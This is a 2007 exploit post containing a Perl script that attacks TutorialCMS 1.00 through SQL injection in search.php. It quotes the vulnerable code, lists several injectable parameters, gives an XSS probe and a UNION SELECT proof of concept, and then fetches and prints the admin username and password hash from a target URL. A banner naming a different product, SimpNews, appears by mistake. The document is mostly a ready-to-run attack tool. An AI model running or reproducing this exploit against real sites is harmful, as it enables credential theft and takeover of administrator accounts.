tutorialcms-sql.txt
Posted on 10 May 2007
#!/usr/bin/perl -w ################################################################################# # # # TutorialCMS <= 1.00 SQL Injection Exploit # # # # Discovered by: Silentz # # Payload: Admin Username & Hash Retrieval # # Website: http://www.w4ck1ng.com # # # # Vulnerable Code (search.php): # # # # $search = $_REQUEST['search']; # # $sql = "SELECT * FROM tutorials WHERE title LIKE '%$search%' # # ORDER BY hits DESC LIMIT $startID , $perPage"; # # # # Manual SQL Injection: # # # # browseCat.php?catFile=[SQL QUERY] # # browseSubCat.php?catFile=[SQL QUERY] # # openTutorial.php?id=[SQL QUERY] # # search.php?search=[SQL QUERY] # # topFrame.php?id=[SQL QUERY] # # admin/editListing.php?id=[SQL QUERY] # # # # NOTE: All above parameters are vulnerable to XSS, so try: # # # # search.php?search="><script>alert('http://www.w4ck1ng.com')</script> # # # # PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username, # # password,0,0,0,0,0,0,0 FROM users WHERE id='1' /* # # # # Subject To: magic_quotes_gpc set to off # # GoogleDork: "Powered By Photoshop Tutorials" (0 Results) # # # # Shoutz: The entire w4ck1ng community # # # ################################################################################# use LWP::UserAgent; if (@ARGV < 1){ print "------------------------------------------------------------------------- "; print " TutorialCMS <= 1.00 SQL Injection Exploit "; print "------------------------------------------------------------------------- "; print "Usage: w4ck1ng_tutorialcms.pl [PATH] "; print "[PATH] = Path where TutorialCMS is located "; print "e.g. w4ck1ng_tutorialcms.pl http://victim.com/tutorialcms/ "; print "------------------------------------------------------------------------- "; print " http://www.w4ck1ng.com "; print " ...Silentz "; print "------------------------------------------------------------------------- "; exit(); } $useragent = LWP::UserAgent->new() or die "Could not initialize browser "; $useragent->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $sql = $ARGV[0] . "search.php?search=' UNION SELECT 0,0,0,0,username,password,0,0,password,0,password,0,0 FROM users WHERE id='1' /*"; $result = $useragent->request(HTTP::Request->new(GET=>$sql)); if($result->content =~ /"><b><u>([0-9a-zA-Z]+)</u>/){ print "------------------------------------------------------------------------- "; print " SimpNews <= 2.40.01 SQL Injection Exploit "; print "------------------------------------------------------------------------- "; print "[+] Admin User : $1 "; } else {print " [-] Unable to retrieve admin username..."} if($result->content =~ /([0-9a-fA-F]{32})/){ print "[+] Admin Hash : $1 "; print "------------------------------------------------------------------------- "; print " http://www.w4ck1ng.com "; print " ...Silentz "; print "------------------------------------------------------------------------- "; } else {print " [-] Unable to retrieve admin hash... ";}
